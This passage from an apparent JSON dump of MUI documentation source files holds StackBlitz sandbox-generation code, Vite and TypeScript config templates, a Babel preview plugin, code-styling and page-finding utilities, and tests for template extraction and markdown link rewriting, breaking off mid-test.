https://vitejs.dev/config/\nexport default defineConfig({\n  plugins: [react()],\n  define: { 'process.env': {} },\n});`,\n      },\n      dependencies: {\n        react: 'latest',\n        // #npm-tag-reference\n        '@mui/material': 'next',\n        'react-dom': 'latest',\n        '@emotion/react': 'latest',\n        '@emotion/styled': 'latest',\n        typescript: 'latest',\n      },\n      devDependencies: {\n        '@types/react': 'latest',\n        '@types/react-dom': 'latest',\n        '@vitejs/plugin-react': 'latest',\n        vite: 'latest',\n      },\n    });\n  });\n\n  it('should generate the correct stylesheet font link in index.html for Material Two Tones icons', () => {\n    const raw = `import * as React from 'react';\n    import Icon from '@mui/material/Icon';\n\n    export default function TwoToneIcons() {\n      return <Icon baseClassName=\"material-icons-two-tone\">add_circle</Icon>;\n    }\n    `;\n\n    const result = StackBlitz.createReactApp({\n      raw,\n      codeVariant: 'JS',\n    });\n\n    expect(result.files['index.html']).to.contain(\n      'https://fonts.googleapis.com/icon?family=Material+Icons+Two+Tone',\n    );\n  });\n});\n"
  },
  {
    "path": "docs/src/modules/sandbox/StackBlitz.ts",
    "content": "import addHiddenInput from 'docs/src/modules/utils/addHiddenInput';\nimport SandboxDependencies from 'docs/src/modules/sandbox/Dependencies';\nimport flattenRelativeImports from 'docs/src/modules/sandbox/FlattenRelativeImports';\nimport type { SandboxConfig } from '@mui/docs/DemoContext';\nimport { CodeVariant, DemoData } from 'docs/src/modules/sandbox/types';\nimport * as CRA from 'docs/src/modules/sandbox/CreateReactApp';\n\nfunction getFileExtension(codeVariant: 'TS' | 'JS') {\n  if (codeVariant === 'TS') {\n    return 'tsx';\n  }\n  if (codeVariant === 'JS') {\n    return 'jsx';\n  }\n  throw new Error(`Unsupported codeVariant: ${codeVariant}`);\n}\n\nfunction ensureExtension(file: string, extension: string): string {\n  return file.endsWith(`.${extension}`) ? file : `${file}.${extension}`;\n}\n\nconst VITE_DEV_DEPENDENCIES = {\n  '@vitejs/plugin-react': 'latest',\n  vite: 'latest',\n};\n\nfunction openStackBlitz({\n  title,\n  description,\n  files,\n  initialFile,\n}: {\n  title: string;\n  description: string;\n  files: Record<string, string>;\n  initialFile: string;\n}) {\n  // ref: https://developer.stackblitz.com/docs/platform/post-api/\n  const form = document.createElement('form');\n  form.method = 'POST';\n  form.target = '_blank';\n  form.action = `https://stackblitz.com/run?file=${initialFile}`;\n  addHiddenInput(form, 'project[template]', 'node');\n  addHiddenInput(form, 'project[title]', title);\n  addHiddenInput(form, 'project[description]', `# ${title}\\n${description}`);\n  Object.keys(files).forEach((key) => {\n    const value = files[key];\n    addHiddenInput(form, `project[files][${key}]`, value);\n  });\n  document.body.appendChild(form);\n  form.submit();\n  document.body.removeChild(form);\n}\n\n/**\n * Create a Vite project config for StackBlitz\n */\nfunction createViteFiles(\n  demoData: DemoData,\n  dependencies: Record<string, string>,\n  devDependencies: Record<string, string>,\n  description: string,\n): Record<string, string> {\n  const ext = getFileExtension(demoData.codeVariant);\n  return {\n    [`vite.config.${demoData.codeVariant === 'TS' ? 'ts' : 'js'}`]: `\nimport { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\n\n// https://vitejs.dev/config/\nexport default defineConfig({\n  plugins: [react()],\n  define: { 'process.env': {} },\n});`,\n    'index.html': CRA.getHtml({ ...demoData, main: `/src/index.${ext}` }),\n    'package.json': JSON.stringify(\n      {\n        private: true,\n        description,\n        type: 'module',\n        scripts: {\n          dev: 'vite',\n          build: 'vite build',\n          preview: 'vite preview',\n        },\n        dependencies,\n        devDependencies,\n      },\n      null,\n      2,\n    ),\n    ...(demoData.codeVariant === 'TS' && {\n      'tsconfig.json': `{\n  \"compilerOptions\": {\n    \"target\": \"ES2020\",\n    \"useDefineForClassFields\": true,\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"jsx\": \"react-jsx\",\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true\n  },\n  \"include\": [\"src\"],\n  \"references\": [{ \"path\": \"./tsconfig.node.json\" }]\n}`,\n      'tsconfig.node.json': `{\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"skipLibCheck\": true,\n    \"module\": \"ESNext\",\n    \"moduleResolution\": \"bundler\",\n    \"allowSyntheticDefaultImports\": true\n  },\n  \"include\": [\"vite.config.ts\"]\n}`,\n    }),\n  };\n}\n\n/**\n * Create a Material Template for StackBlitz using the SDK and Vite.\n */\nfunction createMaterialTemplate(templateData: {\n  title: string;\n  files: Record<string, string>;\n  githubLocation: string;\n  codeVariant: CodeVariant;\n}) {\n  const ext = getFileExtension(templateData.codeVariant);\n  const { title, githubLocation: description } = templateData;\n  const raw = Object.entries(templateData.files ?? {}).reduce(\n    (prev, curr) => `${prev}\\n${curr}`,\n    '',\n  );\n\n  const demoData: DemoData = { ...templateData, raw, language: 'en' };\n\n  // Get dependencies\n  const { dependencies, devDependencies } = SandboxDependencies(demoData, {\n    commitRef: process.env.PULL_REQUEST_ID ? process.env.COMMIT_REF : undefined,\n    devDeps: VITE_DEV_DEPENDENCIES,\n  });\n\n  // Create base Vite files with dependencies\n  const viteFiles = createViteFiles(demoData, dependencies, devDependencies, description);\n\n  // Restructure template files to be under src/\n  const templateSourceFiles = templateData.files\n    ? Object.fromEntries(\n        Object.entries(templateData.files).map(([key, value]) => [`src/${key}`, value]),\n      )\n    : {};\n\n  // Create a proper React 18 index file for Vite\n  const indexContent = `\nimport * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport App from './App';\n\nReactDOM.createRoot(document.getElementById('root')${templateData.codeVariant === 'TS' ? '!' : ''}).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <App />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`;\n\n  // Combine all files\n  const files = {\n    ...viteFiles,\n    [`src/index.${ext}`]: indexContent,\n    ...templateSourceFiles,\n  };\n\n  return {\n    title,\n    files,\n    dependencies,\n    devDependencies,\n    replaceContent(updater: (content: string | Record<string, any>, filePath: string) => string) {\n      Object.keys(files).forEach((filePath) => {\n        files[filePath] = updater(files[filePath], filePath);\n      });\n      return this;\n    },\n    openStackBlitz: (initialFile: string = 'src/App') => {\n      openStackBlitz({\n        title,\n        description,\n        files,\n        initialFile: ensureExtension(initialFile, ext),\n      });\n    },\n  };\n}\n\n/**\n * Create a React App for StackBlitz using the SDK and Vite.\n * This maintains similar structure to the original createReactApp but uses Vite.\n */\nfunction createReactApp(demoData: DemoData, csbConfig?: SandboxConfig) {\n  const ext = getFileExtension(demoData.codeVariant);\n  const { title, githubLocation: description } = demoData;\n\n  // Get dependencies\n  const { dependencies, devDependencies } = SandboxDependencies(demoData, {\n    commitRef: process.env.PULL_REQUEST_ID ? process.env.COMMIT_REF : undefined,\n    devDeps: VITE_DEV_DEPENDENCIES,\n    csbConfig,\n  });\n\n  const viteFiles = createViteFiles(demoData, dependencies, devDependencies, description);\n\n  const demoFiles: Record<string, string> = {\n    [`src/Demo.${ext}`]: flattenRelativeImports(demoData.raw),\n  };\n\n  // Add relative modules if any\n  const relativeModuleFiles = demoData.relativeModules\n    ? demoData.relativeModules.reduce(\n        (acc, curr) => ({\n          ...acc,\n          // Add files to src directory but preserve original names\n          [`src/${curr.module.replace(/^.*[\\\\/]/g, '')}`]: flattenRelativeImports(curr.raw),\n        }),\n        {},\n      )\n    : {};\n\n  // Combine all files\n  const files = {\n    ...viteFiles,\n    [`src/index.${ext}`]: CRA.getRootIndex(demoData, csbConfig),\n    ...demoFiles,\n    ...relativeModuleFiles,\n  };\n\n  return {\n    title,\n    description,\n    files,\n    dependencies,\n    devDependencies,\n    openSandbox: (initialFile = 'src/Demo') => {\n      openStackBlitz({\n        title,\n        description,\n        files,\n        initialFile: ensureExtension(initialFile, ext),\n      });\n    },\n  };\n}\n\nexport default {\n  createReactApp,\n  createMaterialTemplate,\n};\n"
  },
  {
    "path": "docs/src/modules/sandbox/types.ts",
    "content": "import type { MuiProductId } from '@mui/docs/getProductInfoFromUrl';\n\nexport type CodeVariant = 'TS' | 'JS';\n\ntype RelativeModule = {\n  module: string;\n  raw: string;\n};\nexport interface DemoData {\n  title: string;\n  language: string;\n  raw: string;\n  codeVariant: CodeVariant;\n  githubLocation: string;\n  productId?: Exclude<MuiProductId, 'null'>;\n  relativeModules?: RelativeModule[];\n}\n"
  },
  {
    "path": "docs/src/modules/utils/addHiddenInput.ts",
    "content": "export default function addHiddenInput(form: HTMLFormElement, name: string, value: string) {\n  const input = document.createElement('input');\n  input.type = 'hidden';\n  input.name = name;\n  input.value = value;\n  form.appendChild(input);\n}\n"
  },
  {
    "path": "docs/src/modules/utils/babel-plugin-jsx-preview.js",
    "content": "const fs = require('fs');\n\nconst pluginName = 'babel-plugin-jsx-preview';\n\n/**\n * @returns {import('@babel/core').PluginObj}\n */\nexport default function babelPluginJsxPreview() {\n  const wrapperTypes = ['div', 'Box', 'Stack'];\n\n  /**\n   * @type {import('@babel/core').types.JSXElement | import('@babel/core').types.JSXElement['children']}\n   */\n  let previewNode = null;\n\n  return {\n    name: pluginName,\n    visitor: {\n      ExportDefaultDeclaration(path) {\n        const { declaration } = path.node;\n        if (declaration.type !== 'FunctionDeclaration') {\n          return;\n        }\n        const { body } = declaration.body;\n        /**\n         * @type {import('@babel/core').types.ReturnStatement[]}\n         */\n        const [lastReturn] = body\n          .filter((statement) => {\n            return statement.type === 'ReturnStatement';\n          })\n          .reverse();\n\n        const returnedJSX = lastReturn.argument;\n        if (returnedJSX.type === 'JSXElement') {\n          previewNode = returnedJSX;\n          if (\n            wrapperTypes.includes(previewNode.openingElement.name.name) &&\n            previewNode.children.length > 0\n          ) {\n            // Trim blank JSXText to normalize\n            // return (\n            //   <div />\n            // )\n            // and\n            // return (\n            //   <Stack>\n            //     <div />\n            // ^^^^ Blank JSXText including newline\n            //   </Stack>\n            // )\n            previewNode = previewNode.children.filter((child, index, children) => {\n              const isSurroundingBlankJSXText =\n                (index === 0 || index === children.length - 1) &&\n                child.type === 'JSXText' &&\n                !/[^\\s]+/.test(child.value);\n              return !isSurroundingBlankJSXText;\n            });\n          }\n        }\n      },\n    },\n    post(state) {\n      const { maxLines, outputFilename } = state.opts.plugins.find((plugin) => {\n        return plugin.key === pluginName;\n      }).options;\n\n      let hasPreview = false;\n      if (previewNode !== null) {\n        const [startNode, endNode] = Array.isArray(previewNode)\n          ? [previewNode[0], previewNode.slice(-1)[0]]\n          : [previewNode, previewNode];\n        const preview = state.code.slice(startNode.start, endNode.end);\n\n        const previewLines = preview.split(/\\n/);\n        // The first line is already trimmed either due to trimmed blank JSXText or because it's a single node which babel already trims.\n        // The last line is therefore the measure for indentation\n        const indentation = previewLines.slice(-1)[0].match(/^\\s*/)[0].length;\n        const deindentedPreviewLines = preview.split(/\\n/).map((line, index) => {\n          if (index === 0) {\n            return line;\n          }\n          return line.slice(indentation);\n        });\n\n        if (deindentedPreviewLines.length <= maxLines) {\n          fs.writeFileSync(outputFilename, deindentedPreviewLines.join('\\n'));\n          hasPreview = true;\n        }\n      }\n\n      if (!hasPreview) {\n        try {\n          fs.unlinkSync(outputFilename);\n        } catch (error) {\n          // Would throw if the file doesn't exist.\n          // But we do want to ensure that the file doesn't exist so the error is fine.\n        }\n      }\n    },\n  };\n}\n"
  },
  {
    "path": "docs/src/modules/utils/codeStylingSolution.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { getCookie } from '@mui/docs/helpers';\nimport { CODE_STYLING } from '@mui/docs/constants';\n\nconst CodeStylingContext = React.createContext({\n  codeStyling: CODE_STYLING.SYSTEM,\n  setCodeStyling: () => {},\n});\nif (process.env.NODE_ENV !== 'production') {\n  CodeStylingContext.displayName = 'CodeStyling';\n}\n\nfunction useFirstRender() {\n  const firstRenderRef = React.useRef(true);\n  React.useEffect(() => {\n    firstRenderRef.current = false;\n  }, []);\n\n  return firstRenderRef.current;\n}\n\nexport function CodeStylingProvider(props) {\n  const { children } = props;\n\n  const [codeStyling, setCodeStyling] = React.useState(CODE_STYLING.SYSTEM);\n\n  const navigatedCodeStyling = React.useMemo(() => {\n    const navigatedCodeMatch =\n      typeof window !== 'undefined' ? window.location.hash.match(/\\.(js|tsx)$/) : null;\n\n    if (navigatedCodeMatch === null) {\n      return undefined;\n    }\n\n    if (typeof window !== 'undefined') {\n      if (window.location.hash.includes('tailwind-')) {\n        return CODE_STYLING.TAILWIND;\n      }\n      if (window.location.hash.includes('css-')) {\n        return CODE_STYLING.CSS;\n      }\n      if (window.location.hash.includes('system-')) {\n        return CODE_STYLING.SYSTEM;\n      }\n    }\n\n    return undefined;\n  }, []);\n\n  const persistedCodeStyling = React.useMemo(() => {\n    if (typeof window === 'undefined') {\n      return undefined;\n    }\n    return getCookie('codeStyling');\n  }, []);\n  const isFirstRender = useFirstRender();\n\n  // We initialize from navigation or cookies. on subsequent renders the store is the truth\n  const noSsrCodeStyling =\n    isFirstRender === true\n      ? navigatedCodeStyling || persistedCodeStyling || codeStyling\n      : codeStyling;\n\n  React.useEffect(() => {\n    if (codeStyling !== noSsrCodeStyling) {\n      setCodeStyling(noSsrCodeStyling);\n    }\n  }, [codeStyling, noSsrCodeStyling]);\n\n  React.useEffect(() => {\n    document.cookie = `codeStyling=${codeStyling};path=/;max-age=31536000`;\n  }, [codeStyling]);\n\n  const contextValue = React.useMemo(() => {\n    return { codeStyling, noSsrCodeStyling, setCodeStyling };\n  }, [codeStyling, noSsrCodeStyling]);\n\n  return <CodeStylingContext.Provider value={contextValue}>{children}</CodeStylingContext.Provider>;\n}\n\nCodeStylingProvider.propTypes = {\n  children: PropTypes.node.isRequired,\n};\n\nexport function useCodeStyling() {\n  return React.useContext(CodeStylingContext).codeStyling;\n}\n\nexport function useNoSsrCodeStyling() {\n  return React.useContext(CodeStylingContext).noSsrCodeStyling;\n}\n\nexport function useSetCodeStyling() {\n  return React.useContext(CodeStylingContext).setCodeStyling;\n}\n"
  },
  {
    "path": "docs/src/modules/utils/extractTemplates.test.js",
    "content": "import { expect } from 'chai';\nimport extractTemplates from './extractTemplates';\n\ndescribe('extractTemplates', () => {\n  it('get correct templates', () => {\n    const result = extractTemplates({\n      './email/App.tsx': '',\n      './team/App.tsx': '',\n      './files/App.tsx': '',\n    });\n    expect(Object.keys(result)).to.deep.equal(['email', 'team', 'files']);\n  });\n\n  it('extract correct template files', () => {\n    const result = extractTemplates({\n      './email/App.tsx': '',\n      './email/components/Layout.tsx': '',\n      './email/components/MailContent.tsx': '',\n      './email/components/Mails.tsx': '',\n      './email/components/Navigation.tsx': '',\n      './email/theme.tsx': '',\n    });\n    expect(result.email.files).to.deep.equal({\n      'App.tsx': '',\n      'components/Layout.tsx': '',\n      'components/MailContent.tsx': '',\n      'components/Mails.tsx': '',\n      'components/Navigation.tsx': '',\n      'theme.tsx': '',\n    });\n  });\n\n  it('extract code variant', () => {\n    const result = extractTemplates({\n      './email/App.js': '',\n      './email/components/Layout.js': '',\n      './email/components/MailContent.js': '',\n      './email/components/Mails.js': '',\n      './email/components/Navigation.js': '',\n      './email/theme.tsx': '',\n    });\n    expect(result.email.codeVariant).to.equal('TS');\n  });\n});\n"
  },
  {
    "path": "docs/src/modules/utils/extractTemplates.ts",
    "content": "export default function extractTemplates(record: Record<string, string>) {\n  const result: Record<string, { files: Record<string, string>; codeVariant: 'JS' | 'TS' }> = {};\n  Object.entries(record).forEach((data) => {\n    const match = /\\/(?<name>[^/]+)\\/(?<filePath>.*)/.exec(data[0]);\n    if (match) {\n      const name = match.groups?.name;\n      const filePath = match.groups?.filePath;\n      if (name && filePath) {\n        if (!result[name]) {\n          result[name] = { files: {}, codeVariant: 'JS' };\n        }\n        if (filePath.match(/\\.(ts|tsx)$/)) {\n          result[name].codeVariant = 'TS';\n        }\n        result[name].files[filePath] = data[1];\n      }\n    }\n  });\n  return result;\n}\n"
  },
  {
    "path": "docs/src/modules/utils/find.ts",
    "content": "import * as fs from 'fs';\nimport * as url from 'url';\nimport * as path from 'path';\n\nconst currentDirectory = url.fileURLToPath(new URL('.', import.meta.url));\n\nconst pageRegex = /(\\.js|\\.tsx)$/;\nconst blackList = ['/.eslintrc', '/_document', '/_app'];\n\ninterface NextJSPage {\n  pathname: string;\n  children?: NextJSPage[];\n}\n\ninterface FindPagesOptions {\n  front?: boolean;\n}\n\n/**\n * Returns the Next.js pages available in a nested format.\n * The output is in the next.js format.\n * Each pathname is a route you can navigate to.\n */\n// eslint-disable-next-line import/prefer-default-export\nexport function findPages(\n  options: FindPagesOptions = {},\n  directory: string = path.resolve(currentDirectory, '../../../pages'),\n  pages: NextJSPage[] = [],\n): NextJSPage[] {\n  fs.readdirSync(directory).forEach((item) => {\n    const itemPath = path.resolve(directory, item);\n    const pathname = itemPath\n      .replace(new RegExp(`\\\\${path.sep}`, 'g'), '/')\n      .replace(/^.*\\/pages/, '')\n      .replace('.js', '')\n      .replace('.tsx', '')\n      .replace(/^\\/index$/, '/') // Replace `index` by `/`.\n      .replace(/\\/index$/, '');\n\n    if (pathname.includes('.eslintrc')) {\n      return;\n    }\n\n    if (options.front && !pathname.includes('/components') && !pathname.includes('/api-docs')) {\n      return;\n    }\n\n    if (fs.statSync(itemPath).isDirectory()) {\n      const children: NextJSPage[] = [];\n      pages.push({\n        pathname,\n        children,\n      });\n      findPages(options, itemPath, children);\n      return;\n    }\n\n    if (!pageRegex.test(item) || blackList.includes(pathname)) {\n      return;\n    }\n\n    pages.push({\n      pathname,\n    });\n  });\n\n  // sort by pathnames without '-' so that e.g. card comes before card-action\n  pages.sort((a, b) => {\n    const pathnameA = a.pathname.replace(/-/g, '');\n    const pathnameB = b.pathname.replace(/-/g, '');\n    if (pathnameA < pathnameB) {\n      return -1;\n    }\n    if (pathnameA > pathnameB) {\n      return 1;\n    }\n    return 0;\n  });\n\n  return pages;\n}\n"
  },
  {
    "path": "docs/src/modules/utils/getProductInfoFromUrl.ts",
    "content": "import { pathnameToLanguage } from '@mui/docs/helpers';\n\nexport type MuiProductId =\n  | 'null'\n  | 'base-ui'\n  | 'material-ui'\n  | 'joy-ui'\n  | 'system'\n  | 'docs-infra'\n  | 'docs'\n  | 'x-data-grid'\n  | 'x-date-pickers'\n  | 'x-charts'\n  | 'x-tree-view'\n  | 'x-scheduler'\n  | 'toolpad-studio'\n  | 'toolpad-core';\n\ntype MuiProductCategoryId = 'null' | 'core' | 'x';\n\ninterface MuiProductInfo {\n  productId: MuiProductId;\n  productCategoryId: MuiProductCategoryId;\n}\n\n// This is a fallback logic to define the productId and productCategoryId of the page.\n// Markdown pages can override this value when the URL patterns they follow are a bit strange,\n// which should stay the rare exception.\nexport default function getProductInfoFromUrl(asPath: string): MuiProductInfo {\n  const asPathWithoutLang = pathnameToLanguage(asPath).canonicalAsServer;\n  const firstFolder = asPathWithoutLang.replace(/^\\/+([^/]+)\\/.*/, '$1');\n\n  // When serialized undefined/null are the same, so we encode null as 'null' to be\n  // able to differentiate when the value isn't set vs. set to the right null value.\n  let productCategoryId = 'null';\n  let productId = 'null';\n\n  if (\n    firstFolder === 'material-ui' ||\n    firstFolder === 'joy-ui' ||\n    firstFolder === 'base-ui' ||\n    firstFolder === 'system'\n  ) {\n    productCategoryId = 'core';\n    productId = firstFolder;\n  }\n\n  if (firstFolder === 'x') {\n    productCategoryId = 'x';\n    productId = `x-${asPathWithoutLang.replace('/x/react-', '').replace(/\\/.*/, '')}`;\n\n    // No match, give up on it.\n    if (productId === 'x-') {\n      productId = 'null';\n    }\n  }\n\n  if (firstFolder === 'toolpad') {\n    productCategoryId = 'toolpad';\n    const secondFolder = asPathWithoutLang.replace(/^\\/+[^/]+\\/([^/]+)\\/.*/, '$1');\n    if (secondFolder === 'studio') {\n      productId = 'toolpad-studio';\n    } else {\n      productId = 'toolpad-core';\n    }\n  }\n\n  if (firstFolder === 'docs') {\n    productId = firstFolder;\n  }\n\n  // TODO remove, legacy\n  if (firstFolder === 'versions' || firstFolder === 'production-error') {\n    productId = 'docs';\n  }\n\n  if (asPathWithoutLang.startsWith('/experiments/docs/')) {\n    productId = 'docs-infra';\n  }\n\n  return {\n    productCategoryId,\n    productId,\n  } as MuiProductInfo;\n}\n"
  },
  {
    "path": "docs/src/modules/utils/globalSelector.ts",
    "content": "/* eslint-disable default-case */\nimport { Element, RULESET } from 'stylis';\n\n// A workaround to https://github.com/emotion-js/emotion/issues/2836\n// to be able to use `:where` selector for styling.\nexport default function globalSelector(element: Element) {\n  switch (element.type) {\n    case RULESET:\n      element.props = (element.props as string[]).map((value: any) => {\n        if (value.match(/(:where|:is)\\(/)) {\n          value = value.replace(/\\.[^:]+(:where|:is)/, '$1');\n          return value;\n        }\n        return value;\n      });\n  }\n}\n"
  },
  {
    "path": "docs/src/modules/utils/mapApiPageTranslations.js",
    "content": "import mapApiPageTranslationsBase from '@mui/docs/mapApiPageTranslations';\n\nimport { LANGUAGES_IGNORE_PAGES } from '../../../config';\n\nexport default function mapApiPageTranslations(req) {\n  return mapApiPageTranslationsBase(req, LANGUAGES_IGNORE_PAGES);\n}\n"
  },
  {
    "path": "docs/src/modules/utils/replaceMarkdownLinks.test.js",
    "content": "import { expect } from 'chai';\nimport {\n  replaceMaterialLinks,\n  replaceAPILinks,\n  replaceComponentLinks,\n} from './replaceMarkdownLinks';\n\ndescribe('replaceMarkdownLinks', () => {\n  it('replace material related links', () => {\n    expect(\n      replaceMaterialLinks(`\n      [reading this guide on minimizing bundle size](/guides/minimizing-bundle-size/)\n      [default props](/customization/theme-components/#default-props)\n      [Get started](/getting-started/usage/)\n      [Tree view](/discover-more/related-projects/)\n    `),\n    ).to.equal(`\n      [reading this guide on minimizing bundle size](/material-ui/guides/minimizing-bundle-size/)\n      [default props](/material-ui/customization/theme-components/#default-props)\n      [Get started](/material-ui/getting-started/usage/)\n      [Tree view](/material-ui/discover-more/related-projects/)\n    `);\n  });\n\n  it('should not change if links have been updated', () => {\n    expect(\n      replaceMaterialLinks(`\n      [reading this guide on minimizing bundle size](/material-ui/guides/minimizing-bundle-size/)\n      [default props](/material-ui/customization/theme-components/#default-props)\n      [Get started](/material-ui/getting-started/usage/)\n      [Tree view](/material-ui/discover-more/related-projects/)\n    `),\n    ).to.equal(`\n      [reading this guide on minimizing bundle size](/material-ui/guides/minimizing-bundle-size/)\n      [default props](/material-ui/customization/theme-components/#default-props)\n      [Get started](/material-ui/getting-started/usage/)\n      [Tree view](/material-ui/discover-more/related-projects/)\n    `);\n  });\n\n  it('replace correct component links', () => {\n    expect(\n      replaceComponentLinks(`\n      [ButtonGroup](/components/button-group/)\n      [Buttons](/components/buttons/)\n      [text](/components/checkboxes/#main-content)\n      [text](/components/radio-buttons#main-content)\n      [text](/components/selects/#main-content)\n      [text](/components/switches/#main-content)\n      [text](/components/text-fields/#main-content)\n      [text](/components/avatars/#main-content)\n      [text](/components/badges/#main-content)\n      [text](/components/chips/#main-content)\n      [text](/components/dividers/#main-content)\n      [text](/components/icons/#main-content)\n      [text](/components/material-icons/#main-content)\n      [text](/components/lists/#main-content)\n      [text](/components/tables/#main-content)\n      [text](/components/tooltips/#main-content)\n      [text](/components/dialogs/#main-content)\n      [text](/components/snackbars/#main-content)\n      [text](/components/cards/#main-content)\n      [text](/components/breadcrumbs/#main-content)\n      [text](/components/drawers/#main-content)\n      [text](/components/links/#main-content)\n      [text](/components/menus/#main-content)\n      [text](/components/steppers/#main-content)\n      [text](/components/tabs/#main-content)\n      [text](/components/transitions/#main-content)\n      [text](/components/pickers/#main-content)\n      [text](/components/trap-focus/#main-content)\n      [text](/components/css-baseline/#main-content)\n      [text](/components/no-ssr/#main-content)\n      [text](/components/image-list/#main-content)\n      [text](/components/progress/#main-content)\n      -\n      [Tree view](/components/tree-view/)\n      [Demo](/components/data-grid/features/)\n    `),\n    ).to.equal(`\n      [ButtonGroup](/material-ui/react-button-group/)\n      [Buttons](/material-ui/react-button/)\n      [text](/material-ui/react-checkbox/#main-content)\n      [text](/material-ui/react-radio-button#main-content)\n      [text](/material-ui/react-select/#main-content)\n      [text](/material-ui/react-switch/#main-content)\n      [text](/material-ui/react-text-field/#main-content)\n      [text](/material-ui/react-avatar/#main-content)\n      [text](/material-ui/react-badge/#main-content)\n      [text](/material-ui/react-chip/#main-content)\n      [text](/material-ui/react-divider/#main-content)\n      [text](/material-ui/icons/#main-content)\n      [text](/material-ui/material-icons/#main-content)\n      [text](/material-ui/react-list/#main-content)\n      [text](/material-ui/react-table/#main-content)\n      [text](/material-ui/react-tooltip/#main-content)\n      [text](/material-ui/react-dialog/#main-content)\n      [text](/material-ui/react-snackbar/#main-content)\n      [text](/material-ui/react-card/#main-content)\n      [text](/material-ui/react-breadcrumbs/#main-content)\n      [text](/material-ui/react-drawer/#main-content)\n      [text](/material-ui/react-link/#main-content)\n      [text](/material-ui/react-menu/#main-content)\n      [text](/material-ui/react-stepper/#main-content)\n      [text](/material-ui/react-tabs/#main-content)\n      [text](/material-ui/transitions/#main-content)\n      [text](/material-ui/pickers/#main-content)\n      [text](/material-ui/react-trap-focus/#main-content)\n      [text](/material-ui/react-css-baseline/#main-content)\n      [text](/material-ui/react-no-ssr/#main-content)\n      [text](/material-ui/react-image-list/#main-content)\n      [text](/material-ui/react-progress/#main-content)\n      -\n      [Tree view](/material-ui/react-tree-view/)\n      [Demo](/x/react-data-grid/features/)\n    `);\n  });\n\n  it('should do nothing if the components have updated', () => {\n    expect(\n      replaceComponentLinks(`\n      [ButtonGroup](/material-ui/react-button-group/)\n      [Buttons](/material-ui/react-button/)\n      [text](/material-ui/react-checkbox/#main-content)\n      [text](/material-ui/react-radio-button#main-content)\n      [text](/material-ui/react-select/#main-content)\n      [text](/material-ui/react-switch/#main-content)\n      [text](/material-ui/react-text-field/#main-content)\n      [text](/material-ui/react-avatar/#main-content)\n      [text](/material-ui/react-badge/#main-content)\n      [text](/material-ui/react-chip/#main-content)\n      [text](/material-ui/react-divider/#main-content)\n      [text](/material-ui/icons/#main-content)\n      [text](/material-ui/material-icons/#main-content)\n      [text](/material-ui/react-list/#main-content)\n      [text](/material-ui/react-table/#main-content)\n      [text](/material-ui/react-tooltip/#main-content)\n      [text](/material-ui/react-dialog/#main-content)\n      [text](/material-ui/react-snackbar/#main-content)\n      [text](/material-ui/react-card/#main-content)\n      [text](/material-ui/react-breadcrumbs/#main-content)\n      [text](/material-ui/react-drawer/#main-content)\n      [text](/material-ui/react-link/#main-content)\n      [text](/material-ui/react-menu/#main-content)\n      [text](/material-ui/react-stepper/#main-content)\n      [text](/material-ui/react-tabs/#main-content)\n      [text](/material-ui/transitions/#main-content)\n      [text](/material-ui/pickers/#main-content)\n      -\n      [Tree view](/material-ui/react-tree-view/)\n      [Demo](/x/react-data-grid/features/)\n    `),\n    ).to.equal(`\n      [ButtonGroup](/material-ui/react-button-group/)\n      [Buttons](/material-ui/react-button/)\n      [text](/material-ui/react-checkbox/#main-content)\n      [text](/material-ui/react-radio-button#main-content)\n      [text](/material-ui/react-select/#main-content)\n      [text](/material-ui/react-switch/#main-content)\n      [text](/material-ui/react-text-field/#main-content)\n      [text](/material-ui/react-avatar/#main-content)\n      [text](/material-ui/react-badge/#main-content)\n      [text](/material-ui/react-chip/#main-content)\n      [text](/material-ui/react-divider/#main-content)\n      [text](/material-ui/icons/#main-content)\n      [text](/material-ui/material-icons/#main-content)\n      [text](/material-ui/react-list/#main-content)\n      [text](/material-ui/react-table/#main-content)\n      [text](/material-ui/react-tooltip/#main-content)\n      [text](/material-ui/react-dialog/#main-content)\n      [text](/material-ui/react-snackbar/#main-content)\n      [text](/material-ui/react-card/#main-content)\n      [text](/material-ui/react-breadcrumbs/#main-content)\n      [text](/material-ui/react-drawer/#main-content)\n      [text](/material-ui/react-link/#main-content)\n      [text](/material-ui/react-menu/#main-content)\n      [text](/material-ui/react-stepper/#main-content)\n      [text](/material-ui/react-tabs/#main-content)\n      [text](/material-ui/transitions/#main-content)\n      [text](/material-ui/pickers/#main-content)\n      -\n      [Tree view](/material-ui/react-tree-view/)\n      [Demo](/x/react-data-grid/features/)\n    `);\n  });\n\n  it('replace correct API links', () => {\n    expect(\n      replaceAPILinks(`\n      [Button](/api/button)\n      [No Ssr](/api/no-ssr)\n      [Portal](/api/portal)\n      [Textarea Autosize](/api/textarea-autosize)\n      [ButtonBase](/api/button-base)\n      [TabPanel](/api/tab-panel)\n      [TabsList](/api/tab-panel)\n      [ButtonUnstyled](/api/button-unstyled)\n      [TabPanelUnstyled](/api/tab-panel-unstyled)\n      [TabsListUnstyled](/api/tabs-list-unstyled)\n      [FocusTrap](/api/focus-trap)\n      [ClickAwayListener](/api/click-away-listener)\n      [IconButton](/api/icon-button)\n      [LoadingButton](/api/loading-button)\n      [DataGrid](/api/data-grid/data-grid)\n      [DataGridPro](/api/data-grid/data-grid-pro)\n      [System](/system/basics)\n    `),\n    ).to.equal(`\n      [Button](/material-ui/api/button)\n      [No Ssr](/base-ui/api/no-ssr)\n      [Portal](/base-ui/api/portal)\n      [Textarea Autosize](/base-ui/api/textarea-autosize)\n      [ButtonBase](/material-ui/api/button-base)\n      [TabPanel](/material-ui/api/tab-panel)\n      [TabsList](/material-ui/api/tab-panel)\n      [ButtonUnstyled](/base-ui/api/button)\n      [TabPanelUnstyled](/base-ui/api/tab-panel)\n      [TabsListUnstyled](/base-ui/api/tabs-list)\n      [FocusTrap](/base-ui/api/focus-trap)\n      